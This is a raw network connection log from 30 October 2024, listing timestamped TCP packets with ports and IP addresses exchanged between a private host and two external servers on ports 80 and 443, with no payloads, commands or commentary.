Oct 30, 2024 04:35:41.177861929 CET	49995	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:41.177887917 CET	443	49995	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:41.178034067 CET	49995	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:41.178579092 CET	49995	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:41.178592920 CET	443	49995	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:41.269970894 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.269992113 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.270015001 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.270040989 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.270075083 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.270112991 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.270128012 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.270143032 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.270158052 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.270158052 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.270176888 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.270191908 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.270195007 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.270251989 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.270267963 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.270307064 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.276371002 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.276386976 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.276429892 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.276452065 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.276532888 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.276546955 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.276590109 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.425631046 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.425648928 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.425676107 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.425699949 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.425713062 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.425789118 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.425909996 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.426104069 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.426117897 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.426146984 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.426162958 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.426172972 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.426238060 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.426764965 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.426814079 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.426824093 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.426830053 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.426860094 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.426870108 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.426883936 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.426886082 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.426912069 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.426928043 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.430090904 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.430144072 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.430214882 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.430263996 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.430341005 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.430389881 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.430859089 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.430874109 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.430888891 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.430903912 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.430907011 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.430921078 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.430931091 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.430937052 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.430953026 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.430967093 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.430990934 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.431883097 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.431936026 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.582324028 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.582344055 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.582360029 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.582376957 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.582387924 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.582431078 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.582447052 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.582487106 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.582503080 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.582534075 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.582535028 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.582547903 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.582554102 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.582578897 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.582600117 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.582741022 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.582763910 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.582787991 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.582789898 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.582804918 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.582813025 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.582834005 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.582849979 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.583030939 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.583064079 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.583080053 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.583080053 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.583105087 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.583133936 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.583169937 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.583187103 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.583220959 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.583237886 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.583489895 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.583540916 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.583555937 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.583610058 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.583617926 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.583625078 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.583673954 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.583961964 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.584002972 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.584012985 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.584017992 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.584042072 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.584057093 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.584079027 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.584093094 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.584126949 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.584144115 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.584158897 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.584171057 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.584175110 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.584194899 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.584228039 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.584230900 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.584275007 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.584841967 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.584891081 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.584899902 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.584914923 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.584943056 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.584954977 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.584975958 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.584995031 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.585025072 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.585041046 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.585055113 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.585071087 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.585071087 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.585089922 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.585124969 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.585127115 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.585170031 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.585763931 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.585778952 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.585794926 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.585815907 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.585832119 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.585860968 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.585876942 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.585891962 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.585903883 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.585939884 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.586258888 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.586303949 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.739197969 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.739217043 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.739248991 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.739264965 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.739280939 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.739290953 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.739295959 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.739320993 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.739340067 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.739360094 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.739383936 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.739398003 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.739413023 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.739428043 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.739444017 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.739444971 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.739479065 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.739501953 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.739515066 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.739517927 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.739547968 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.739567995 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.739939928 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.739969015 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.739983082 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.739994049 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.740011930 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.740036964 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.740062952 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.740106106 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.740107059 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.740123987 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.740149021 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.740149975 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.740161896 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.740191936 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.740408897 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.740458965 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.740459919 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.740478039 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.740504980 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.740516901 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.740544081 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.740560055 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.740573883 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.740595102 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.740608931 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.740631104 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.740664005 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.740679026 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.740694046 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.740710020 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.740714073 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.740758896 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.741153955 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.741199970 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.741205931 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.741216898 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.741245031 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.741261005 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.741301060 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.741317034 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.741331100 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.741347075 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.741353035 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.741389990 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.741481066 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.741496086 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.741511106 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.741525888 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.741533041 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.741542101 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.741555929 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.741586924 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.742202044 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.742217064 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.742232084 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.742250919 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.742283106 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.742297888 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.742312908 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.742327929 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.742337942 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.742372036 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.742449999 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.742465019 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.742480040 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.742495060 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.742499113 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.742511034 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.742537022 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.742537022 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.742568970 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.742600918 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.743463039 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.743479013 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.743493080 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.743513107 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.743541002 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.743557930 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.743575096 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.743591070 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.743602991 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.743637085 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.743691921 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.743707895 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.743722916 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.743736982 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.743741989 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.743752956 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.743769884 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.743778944 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.743813038 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.744179010 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.744227886 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.744283915 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.744298935 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.744314909 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.744332075 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.744354010 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.744364023 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.744379997 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.744394064 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.744405985 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.744410038 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.744441986 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.744474888 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.744479895 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.744496107 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.744532108 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.744565010 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.744580984 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.744606972 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.744641066 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.745039940 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.745064020 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.745079994 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.745096922 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.745114088 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.745119095 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.745131969 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.745146990 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.745152950 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.745163918 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.745179892 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.745217085 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.745243073 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.745266914 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.745282888 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.745285988 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.745299101 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.745306969 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.745320082 CET	80	49994	185.215.113.16	192.168.2.7
Oct 30, 2024 04:35:41.745325089 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.745348930 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.745366096 CET	49994	80	192.168.2.7	185.215.113.16
Oct 30, 2024 04:35:41.787704945 CET	443	49995	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:41.787868023 CET	49995	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:41.789587021 CET	49995	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:41.789593935 CET	443	49995	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:41.790081024 CET	443	49995	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:41.791305065 CET	49995	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:41.792378902 CET	49995	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:41.792419910 CET	443	49995	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:41.792534113 CET	49995	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:41.792576075 CET	443	49995	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:41.792695045 CET	49995	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:41.792753935 CET	443	49995	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:41.792884111 CET	49995	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:41.792915106 CET	443	49995	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:41.793064117 CET	49995	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:41.793093920 CET	443	49995	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:41.793253899 CET	49995	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:41.793284893 CET	49995	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:41.803807974 CET	443	49995	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:41.803991079 CET	49995	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:41.804027081 CET	443	49995	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:41.804055929 CET	49995	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:41.804069996 CET	443	49995	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:41.804193974 CET	49995	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:41.804239988 CET	49995	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:41.804265022 CET	49995	443	192.168.2.7	188.114.97.3
Oct 30, 2024 04:35:41.808850050 CET	443	49995	188.114.97.3	192.168.2.7
Oct 30, 2024 04:35:41.809025049 CET	49995	443	192.168.2.7	188.114.97.3
